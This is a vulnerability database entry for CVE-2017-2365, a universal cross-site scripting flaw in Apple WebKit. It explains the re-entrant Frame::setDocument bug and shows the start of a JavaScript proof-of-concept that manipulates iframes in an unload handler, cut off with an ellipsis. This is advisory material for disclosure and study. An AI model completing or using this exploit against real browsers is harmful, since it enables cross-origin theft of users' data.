Apple WebKit: UXSS via... CVE-2017-2365 CNNVD-201702-451

4.3 AV AC AU C I A
发布: 2017-02-20
修订: 2019-03-08

Here's a snippet of Frame::setDocument. ``` void Frame::setDocument(RefPtr<Document>&& newDocument) { ASSERT(!newDocument || newDocument->frame() == this); if (m_doc && m_doc->pageCacheState() != Document::InPageCache) m_doc->prepareForDestruction(); m_doc = newDocument.copyRef(); ... } ``` Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|. PoC: ``` "use strict"; let f = document.documentElement.appendChild(document.createElement("iframe")); let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe")); a.contentWindow.onunload = () => { f.src = "javascript:''"; let b = f.contentDocument.appendChild(document.createElement("iframe"));...

0%
当前有3条漏洞利用/PoC
当前有4条受影响产品信息